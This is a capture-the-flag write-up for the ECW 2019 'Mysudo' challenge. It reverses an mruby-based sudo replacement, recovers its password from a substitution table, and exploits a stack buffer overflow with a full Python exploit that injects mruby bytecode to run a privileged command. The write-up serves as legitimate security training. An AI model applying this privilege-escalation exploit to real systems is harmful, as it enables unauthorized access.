ECW 2019 CTF Qualification - Mysudo
Challenge details
Event | Challenge | Category | Points | Solves |
---|---|---|---|---|
ECW 2019 CTF Qualification | Mysudo | Exploit | 125 | 15 |
Task description:
sudo is not very secure, as the leader of the cyber-digital world, we created a replacement.
Admire the result: ssh -p 10022
@challenge-ecw.fr
TL;DR.
The task consists in building a payload that, after being passed to a substitution function gives us a mruby bytecode.
File enumeration
When we open an SSH connection, we get the following files:
The mysudo
binary relies on the musl libc that has been developped to create a “clean, efficient and standards-conformant libc implementation”.
When running the mysudo
binary, the program waits for a password that we don’t know… Let’s analyze it using Ghidra!
Reverse engineering
First, create a new non-shared project and import the ELF mysudo
file. If the tool association is correctly
configured, double clicking on the mysudo
file should open it in the CodeBrowser
.
We’re invited to start the binary analysis, the default settings are quite sufficient, let’s just run it and wait for a few seconds.
Searching for the entry point of our program using the Functions panel ([Windows] > Functions
), we quickly identify the main
function, we can also notice that many mrb_*
functions have been included in the binary:
Looking for documentation about mrb, we finally found that it corresponds to the mruby project.
Let’s dig into the the main
function, and schematize it (both IDA and Ghidra give us a shitty C code, let’s skip it):
- get the effective user ID (
EUID
) (100
here) - check if there’s at least two arguments to the program (e.g.,
["./mysudo", "/app/cat", "flag.txt"]
) - append
.mrb
extension to the command (argv[1]
:/app/cat
) - check user’s permissions for the program file (
/app/cat.mrb
) - get the file content (bytecode) into a buffer using the
read_bytecode
function - get stat about the
.mrb
file (owner and group) - prompt and get the user password
- create a new instance of mruby using
mrb_open
function - load the
/app/main.mrb
bytecode using theread_bytecode
function - load the IREP section of the mruby file:
- call the
encode
function of the/app/main.mrb
program with the user password - xor the encoded user password with
0xFE
- check if xor(encode(password), 0xFE) has the expected value using the
check_password
function - if the password is correct, change the effective user and group ID (
EUID
andEGID
) - execute our command
Following its analysis, we know that that we need to get the password
to execute an mrb
file.
Password cracking
In order to crack the password, we must analyze the check_password
function.
The function is really basic and essentially consists of a comparison of the password characters with a set of 15 characters.
The encoded password must be equal to the string \x7a\x91\xda\xf5\xd3\xf5\xd5\x5a\x68\x24\x08\x5b\x5b\x5b\x5b
.
We now that the user password is xored and passed to the encode
function of the /app/main.mrb
program.
Let’s create a basic C wrapper to call the encode
function of the /app/main.mrb
so that we no longer have to deal with gdb
on the remote server:
#include <stdio.h>
#include <stdlib.h>
#include <mruby.h>
#include <mruby/class.h>
#include <mruby/proc.h>
#include <mruby/variable.h>
#include <mruby/irep.h>
#include <mruby/dump.h>
#include <mruby/compile.h>
#include <mruby/string.h>
#define DBG 1
unsigned char * read_bytecode(char *filename, size_t *size) {
FILE * source;
source = fopen(filename, "rb");
fseek(source, 0, SEEK_END);
*size = ftell(source);
fseek(source, 0, SEEK_SET);
unsigned char * bytecode = malloc(*size);
fread(bytecode, *size, 1, source);
fclose(source);
return bytecode;
}
int main(int argc, char **argv) {
unsigned int i, retcode;
unsigned char *encoder_bc,
*payload_bc,
*enc_payload_char,
enc_payload[1024],
payload_char[2] = {'\0'};
size_t encoder_bc_size;
mrb_state *mrb;
setvbuf(stdout, NULL, _IONBF, 0);
if (argc > 1) {
/* */
mrb = mrb_open();
encoder_bc = read_bytecode("main.mrb", &encoder_bc_size);
/* fwrite(payload_bc, size, 1, stdout); */
mrb_load_irep(mrb, encoder_bc);
payload_char[0] = strtol(argv[1], NULL, 0);
if (DBG) printf("0x%x => ", payload_char[0]);
enc_payload_char = mrb_str_to_cstr(mrb, mrb_funcall(mrb, mrb_top_self(mrb), "encode", 1, mrb_str_new_cstr(mrb, payload_char)));
enc_payload[0] = enc_payload_char[0] ^ 0xFE;
if (DBG) printf("0x%x\n", enc_payload[0]);
retcode = 0;
} else {
retcode = -1;
}
return retcode;
}
Since I didn’t manage to compile it under Debian, I created a Docker container based on Archlinux (feel free to reuse it):
FROM archlinux/base
# Install yay.
RUN echo '[multilib]' >> /etc/pacman.conf && \
echo 'Include = /etc/pacman.d/mirrorlist' >> /etc/pacman.conf && \
pacman --noconfirm -Syyu && \
pacman --noconfirm -S base-devel git && \
useradd -m -r -s /bin/bash aur && \
passwd -d aur && \
echo 'aur ALL=(ALL) ALL' > /etc/sudoers.d/aur && \
mkdir -p /home/aur/.gnupg && \
echo 'standard-resolver' > /home/aur/.gnupg/dirmngr.conf && \
chown -R aur:aur /home/aur && \
mkdir /build && \
chown -R aur:aur /build && \
cd /build && \
sudo -u aur git clone --depth 1 https://aur.archlinux.org/yay.git && \
cd yay && \
sudo -u aur makepkg --noconfirm -si && \
sudo -u aur yay --afterclean --removemake --save && \
pacman -Qtdq | xargs -r pacman --noconfirm -Rcns && \
rm -rf /home/aur/.cache && \
rm -rf /build
# Install mruby.
RUN sudo -u aur yay -Sy gcc cmake mruby musl --noconfirm
# Install pwntools.
RUN sudo -u aur yay -Sy python3 python-pip --noconfirm && \
pip3 install --upgrade git+https://github.com/arthaud/python3-pwntools.git && \
cd /tmp/ && \
git clone https://github.com/keystone-engine/keystone.git && \
cd keystone && \
mkdir build && \
cd build && \
../make-share.sh && \
make install && \
ldconfig && \
cd ../bindings/python && \
make install3 && \
cd /tmp/ && \
rm -rf keystone
# Install gdb and gef.
RUN sudo -u aur yay -Sy gdb wget --noconfirm && \
export PIP_NO_CACHE_DIR=off && \
export PIP_DISABLE_PIP_VERSION_CHECK=on && \
pip3 install --upgrade pip wheel && \
pip3 install capstone unicorn keystone-engine ropper retdec-python && \
wget --progress=bar:force -O /root/.gdbinit-gef.py https://github.com/hugsy/gef/raw/master/gef.py && \
chmod o+r /root/.gdbinit-gef.py && \
echo "source /root/.gdbinit-gef.py" > /root/.gdbinit
CMD ["/bin/bash"]
Compile the wrapper using the Docker container:
docker build -t creased/arch .
docker run -it --rm -v $(pwd):/app -w /app creased/arch bash
gcc -o wrapper wrapper.c -lmruby -lm
After a few tests, we can see that the encode
function can be reversed since it only does subsitution with a static table, let’s dump this table :
from subprocess import (PIPE, Popen)
## generate char mapping using a C wrapper to call main.mrb.
mapping = dict()
for i in range(256):
with Popen(['./wrapper', hex(i)], stdout=PIPE) as proc:
out = proc.stdout.read().decode().strip()
out = out.split(' => ')
if 'ArgumentError:' not in out[1]:
mapping[int(out[0], 16)] = int(out[1], 16)
else:
mapping[int(out[0], 16)] = ''
print(mapping)
We get the following substitution table:
{0: 254, 1: 147, 2: 238, 3: 74, 4: 21, 5: 129, 6: 51, 7: 223, 8: 133, 9: 183, 10: 164, 11: 58, 12: 195, 13: 105, 14: 234, 15: 85, 16: 163, 17: 240, 18: 225, 19: 176, 20: 75, 21: 7, 22: 178, 23: 108, 24: 40, 25: 57, 26: 107, 27: 93, 28: 88, 29: 11, 30: 76, 31: 26, 32: 82, 33: 84, 34: 48, 35: 98, 36: 91, 37: 65, 38: 80, 39: 50, 40: 1, 41: 12, 42: 79, 43: 46, 44: 103, 45: 115, 46: 32, 47: 121, 48: 101, 49: 78, 50: 8, 51: 160, 52: 36, 53: 206, 54: 43, 55: 187, 56: 119, 57: 188, 58: 134, 59: 236, 60: 63, 61: 10, 62: 52, 63: 243, 64: 161, 65: 122, 66: 191, 67: 143, 68: 145, 69: 214, 70: 112, 71: 205, 72: 59, 73: 137, 74: 9, 75: 27, 76: 81, 77: 218, 78: 216, 79: 253, 80: 35, 81: 199, 82: 207, 83: 127, 84: 113, 85: 186, 86: 15, 87: 149, 88: 200, 89: 60, 90: 114, 91: 67, 92: 239, 93: 190, 94: 221, 95: 220, 96: 73, 97: 69, 98: 54, 99: 0, 100: 77, 101: 90, 102: 61, 103: 89, 104: 4, 105: 16, 106: 2, 107: 55, 108: 3, 109: 104, 110: 6, 111: 116, 112: 109, 113: 68, 114: 242, 115: 245, 116: 213, 117: 232, 118: 244, 119: 255, 120: 180, 121: 211, 122: 25, 123: 192, 124: 141, 125: 100, 126: 29, 127: 92, 128: 96, 129: 86, 130: 20, 131: 222, 132: 184, 133: 44, 134: 196, 135: 224, 136: 252, 137: 166, 138: 18, 139: 126, 140: 150, 141: 185, 142: 177, 143: 120, 144: 175, 145: 235, 146: 23, 147: 99, 148: 155, 149: 148, 150: 170, 151: 198, 152: 128, 153: 14, 154: 172, 155: 28, 156: 208, 157: 118, 158: 30, 159: 37, 160: 215, 161: 154, 162: 165, 163: 251, 164: 97, 165: 151, 166: 212, 167: 203, 168: 209, 169: 72, 170: 70, 171: 13, 172: 197, 173: 94, 174: 152, 175: 49, 176: 140, 177: 53, 178: 71, 179: 219, 180: 131, 181: 87, 182: 106, 183: 22, 184: 19, 185: 117, 186: 56, 187: 136, 188: 139, 189: 174, 190: 231, 191: 24, 192: 169, 193: 33, 194: 229, 195: 135, 196: 123, 197: 34, 198: 227, 199: 142, 200: 124, 201: 241, 202: 138, 203: 202, 204: 167, 205: 237, 206: 45, 207: 247, 208: 153, 209: 179, 210: 125, 211: 47, 212: 144, 213: 193, 214: 38, 215: 194, 216: 31, 217: 102, 218: 156, 219: 146, 220: 189, 221: 42, 222: 132, 223: 173, 224: 233, 225: 182, 226: 210, 227: 41, 228: 204, 229: 66, 230: 171, 231: 162, 232: 246, 233: 5, 234: 249, 235: 110, 236: 62, 237: 248, 238: 226, 239: 17, 240: 83, 241: 250, 242: 168, 243: 158, 244: 157, 245: 39, 246: 159, 247: 130, 248: 201, 249: 230, 250: 95, 251: 111, 252: 181, 253: 217, 254: 228, 255: 64}
We can now decode the password using a reverse search in the substitution table:
## encoded password.
password_enc = '\x7a\x91\xda\xf5\xd3\xf5\xd5\x5a\x68\x24\x08\x5b\x5b\x5b\x5b'
## decoding/encoding functions.
ord_str = lambda raw_string: list(map(ord, raw_string))
encode = lambda int_list: ''.join(list(map(lambda c: chr(mapping[c]), int_list)))
decode = lambda int_list: ''.join(list(map(lambda c: chr(list(mapping.values()).index(c)), int_list)))
decode(ord_str(password_enc))
Noice, we got the password ADMsystem42$$$$
!
Exploitation: first try
We should now be able to run any .mrb
file using mysudo
, let’s check it out:
Yeah, we’re running the id
command through the id.mrb
ruby wrapper as ecw_flag
user!
Let’s cat the flag:
Holy snap! It seems that we need to execute the /tmp/getflag
binary…
Since the file is readable by adm
group members only, we can use the cat
wrapper to dump this file and analyze it:
cd /tmp/
/app/mysudo /app/cat getflag | tee getflag.copy
cat getflag.copy | tail -n+2 | base64
We can now copy the base64 blob and decoded it on our own machine to retrieve the getflag
ELF file:
By looking quickly at the source code of the program, we realize that it only reads the value of the FLAG
environment variable of the process with PID 1.
PID 1 is the first process to be executed at system startup, since we are in a container, it corresponds to the CMD
attribute specified in the Docker image or at Docker container startup. Here it’s a shell script runned by root
, so we’re not able to cat its environment variables:
cat /proc/1/environ
Returns:
cat: can't open '/proc/1/environ': Permission denied
We should find another way to execute our own commands and get the flag.
Bug hunting
Without reversing a lot, we can get the get_password
function C code:
By closely analyzing the code, we can find a vulnerability that leads to a buffer overflow due to a lack of user data size checking.
Since the password is stored on the stack, we’re able to overwrite the bytecode of the program specified in the argument.
The exploitation consists in injecting a payload which after being passed to the encode
function of the /app/main.mrb
program and being xored with 0xFE
will give us a consistent bytecode ready to be executed:
Where the \0
should be replaced by any other char (let’s get a
).
Exploitation
Let’s create a simple ruby program and compile it using the mruby compiler on the remote host:
cd /tmp/
cat <<-'EOF' >getflag.rb
system('./getflag')
EOF
mrbc getflag.rb
The finale exploit will automate the bytecode decoding and password sending using a dedicated PTY in order to bypass the isatty
function call:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import pty
from subprocess import (PIPE, Popen)
# Stage 1 - decode password + decode bytecode.
## encoded password.
password_enc = '\x7a\x91\xda\xf5\xd3\xf5\xd5\x5a\x68\x24\x08\x5b\x5b\x5b\x5b'
## prepare bytecode.
bytecode = []
with open('getflag.mrb', 'rb') as fd:
for c in fd.read():
bytecode += [int(c)]
## generate char mapping using a C wrapper to call main.mrb.
mapping = dict()
mapping = {0: 254, 1: 147, 2: 238, 3: 74, 4: 21, 5: 129, 6: 51, 7: 223, 8: 133, 9: 183, 10: 164, 11: 58, 12: 195, 13: 105, 14: 234, 15: 85, 16: 163, 17: 240, 18: 225, 19: 176, 20: 75, 21: 7, 22: 178, 23: 108, 24: 40, 25: 57, 26: 107, 27: 93, 28: 88, 29: 11, 30: 76, 31: 26, 32: 82, 33: 84, 34: 48, 35: 98, 36: 91, 37: 65, 38: 80, 39: 50, 40: 1, 41: 12, 42: 79, 43: 46, 44: 103, 45: 115, 46: 32, 47: 121, 48: 101, 49: 78, 50: 8, 51: 160, 52: 36, 53: 206, 54: 43, 55: 187, 56: 119, 57: 188, 58: 134, 59: 236, 60: 63, 61: 10, 62: 52, 63: 243, 64: 161, 65: 122, 66: 191, 67: 143, 68: 145, 69: 214, 70: 112, 71: 205, 72: 59, 73: 137, 74: 9, 75: 27, 76: 81, 77: 218, 78: 216, 79: 253, 80: 35, 81: 199, 82: 207, 83: 127, 84: 113, 85: 186, 86: 15, 87: 149, 88: 200, 89: 60, 90: 114, 91: 67, 92: 239, 93: 190, 94: 221, 95: 220, 96: 73, 97: 69, 98: 54, 99: 0, 100: 77, 101: 90, 102: 61, 103: 89, 104: 4, 105: 16, 106: 2, 107: 55, 108: 3, 109: 104, 110: 6, 111: 116, 112: 109, 113: 68, 114: 242, 115: 245, 116: 213, 117: 232, 118: 244, 119: 255, 120: 180, 121: 211, 122: 25, 123: 192, 124: 141, 125: 100, 126: 29, 127: 92, 128: 96, 129: 86, 130: 20, 131: 222, 132: 184, 133: 44, 134: 196, 135: 224, 136: 252, 137: 166, 138: 18, 139: 126, 140: 150, 141: 185, 142: 177, 143: 120, 144: 175, 145: 235, 146: 23, 147: 99, 148: 155, 149: 148, 150: 170, 151: 198, 152: 128, 153: 14, 154: 172, 155: 28, 156: 208, 157: 118, 158: 30, 159: 37, 160: 215, 161: 154, 162: 165, 163: 251, 164: 97, 165: 151, 166: 212, 167: 203, 168: 209, 169: 72, 170: 70, 171: 13, 172: 197, 173: 94, 174: 152, 175: 49, 176: 140, 177: 53, 178: 71, 179: 219, 180: 131, 181: 87, 182: 106, 183: 22, 184: 19, 185: 117, 186: 56, 187: 136, 188: 139, 189: 174, 190: 231, 191: 24, 192: 169, 193: 33, 194: 229, 195: 135, 196: 123, 197: 34, 198: 227, 199: 142, 200: 124, 201: 241, 202: 138, 203: 202, 204: 167, 205: 237, 206: 45, 207: 247, 208: 153, 209: 179, 210: 125, 211: 47, 212: 144, 213: 193, 214: 38, 215: 194, 216: 31, 217: 102, 218: 156, 219: 146, 220: 189, 221: 42, 222: 132, 223: 173, 224: 233, 225: 182, 226: 210, 227: 41, 228: 204, 229: 66, 230: 171, 231: 162, 232: 246, 233: 5, 234: 249, 235: 110, 236: 62, 237: 248, 238: 226, 239: 17, 240: 83, 241: 250, 242: 168, 243: 158, 244: 157, 245: 39, 246: 159, 247: 130, 248: 201, 249: 230, 250: 95, 251: 111, 252: 181, 253: 217, 254: 228, 255: 64}
if not len(mapping):
for i in range(256):
with Popen(['./wrapper', hex(i)], stdout=PIPE) as proc:
out = proc.stdout.read().decode().strip()
print(out)
out = out.split(' => ')
if 'ArgumentError:' not in out[1]:
mapping[int(out[0], 16)] = int(out[1], 16)
else:
mapping[int(out[0], 16)] = ''
## decoding/encoding functions.
ord_str = lambda raw_string: list(map(ord, raw_string))
encode = lambda int_list: ''.join(list(map(lambda c: chr(mapping[c]), int_list)))
decode = lambda int_list: ''.join(list(map(lambda c: chr(list(mapping.values()).index(c)), int_list)))
## decode bytecode.
decoded_bytecode = decode(bytecode)
encoded_bytecode = encode(ord_str(decoded_bytecode))
## check for error during encoding.
list_encoded = ord_str(encoded_bytecode)
for i in range(len(bytecode)):
if bytecode[i] != list_encoded[i]:
print('An error occured while decoding the bytecode, please check your substitution table!')
## print encoded bytecode.
print('Original bytecode: {}'.format(repr(bytecode)))
print('Decoded bytecode: {}'.format(repr(ord_str(decoded_bytecode))))
# Stage 2 - prepare payload.
payload = decode(ord_str(password_enc))
payload += 'a' # a junk char
payload += decoded_bytecode
payload += '\n'
## open pseudo-terminal to interact with subprocess.
payload_sent = False
def read(fd):
global payload, payload_sent
data = os.read(fd, 10) # Read 'Password: '
if not payload_sent:
os.write(fd, payload.encode('latin-1'))
payload_sent = True
return data
pty.spawn(['/app/mysudo', '/app/id'], read)
The final flag is ECW{7247cb185e15374444d402c2c422a49dbfb63bff9d00a38aa0b200fdc398d321}
Happy Hacking!